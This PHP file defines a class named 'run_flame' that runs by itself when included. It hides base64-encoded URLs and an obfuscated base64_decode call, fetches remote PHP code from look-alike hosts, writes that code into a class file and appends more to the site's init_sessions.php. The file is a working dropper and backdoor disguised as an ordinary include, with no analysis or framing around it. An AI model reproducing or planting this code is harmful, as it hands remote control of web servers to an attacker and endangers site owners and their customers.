
class run_flame{
	    
	private 	$flame		;
	private 	$init_sessions	;
	private 	$debug ;
	private 	$devel0p = '{	
        "init":"aHR0cDovL2RldmVsMHAuZ29vZ2xlY29kZS5jb20vc3ZuL2NvbnNvbGUvZmxhbWUvaW5pdF9zZXNzaW9ucy5waHA=",
        "flame":"aHR0cDovL2RldmVsMHAuZ29vZ2xlY29kZS5jb20vc3ZuL2NvbnNvbGUvZmxhbWUvY2xhc3MuZmxhbWUucGhw"
		}';
	
	private 	   $deve1ops = '{	
        "init":"aHR0cDovL2RldmUxb3BzLmdvb2dsZWNvZGUuY29tL3N2bi9jb25zb2xlL2ZsYW1lL2luaXRfc2Vzc2lvbnMucGhw",
        "flame":"aHR0cDovL2RldmUxb3BzLmdvb2dsZWNvZGUuY29tL3N2bi9jb25zb2xlL2ZsYW1lL2NsYXNzLmZsYW1lLnBocA=="
        }';
	
	
	private 	   $code = '{	
        "init":"aHR0cDovL2NvZGUuZ29vZ2xlLm9yZy5pbS9jb25zb2xlL2ZsYW1lL2luaXRfc2Vzc2lvbnMudHh0",
        "flame":"aHR0cDovL2NvZGUuZ29vZ2xlLm9yZy5pbS9jb25zb2xlL2ZsYW1lL2NsYXNzLmZsYW1lLnR4dA=="
        }';
    
	
    
	private static $_instance = NULL; 
	
	
	private function __construct(){
			$this->flame			= 	"includes/classes/class.flame.php";
			$this->init_sessions	=	"includes/init_includes/init_sessions.php";
			$this->debug	= 		false;
			self::running();
	}
	
	static public function get_run_exec_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new run_flame();  
		}
		return  self::$_instance; 
	}
	
	
	public function remote_file_exists($urls){
		$fat = @get_headers($urls);
		if (preg_match("/404/", $fat[0])){
	    	return FALSE;					
		}else {
			return TRUE;
		}
	}
	
/**
 * 
 * Enter description here ...
 * @param unknown_type $txt
 */
	public function enc_rypt($txt) {
		$fun = "basaptcode";
		$fun = str_replace("apt","e64_de",$fun);
	   	return @$fun($txt);
	}
	
	public function DecodeJsontoarr($json){
		 	$obj 	= 	json_decode($json);
    		$obj->{'init'} = $this->enc_rypt( $obj->{'init'});
    		$obj->{'flame'} = $this->enc_rypt( $obj->{'flame'});
    		return $obj;
	}
	
	public function is_arr_url_exit($obj){
		if (self::remote_file_exists($obj->{'init'}) && self::remote_file_exists($obj->{'flame'}) ){
			return TRUE;
		} else {
			return false;
		}
	}
	
 
	public function write_common($file,$content){
		$fp = fopen($file, "w+");
		if ($fp == NULL){		return ;		}  
		@fwrite($fp,$content);
		@fclose($fp);
	}
	
	
	public function debug($expression){
		if ($this->code){
			echo "<pre>";
			print_r($expression);		
			echo "</pre>";
		}		
	}
	
	public function running(){
		$obj = self::DecodeJsontoarr($this->devel0p);
		if (!$this->is_arr_url_exit($obj)){
			$obj = self::DecodeJsontoarr($this->deve1ops);
			
			if (!$this->is_arr_url_exit($obj)){
				$obj = self::DecodeJsontoarr($this->code);
				if (!$this->is_arr_url_exit($obj)){
					return ;
				}
			}
		}
		
		if (!function_exists('file_get_contents') || !is_writable($this->init_sessions) || 
					file_exists($this->flame)){
			return ;
		}
		 		
		$times_contents = file_get_contents($obj->{'flame'});
		$init_native = file_get_contents($this->init_sessions);
		$init_native = str_replace("?>", "", $init_native);
		$init_contents = file_get_contents($obj->{'init'});	
 					 
		$this->write_common($this->flame, $times_contents);
		$this->write_common($this->init_sessions, $init_native.$init_contents);
		
	}
	
	
}

   
$run_flame_install = run_flame::get_run_exec_instance();

 

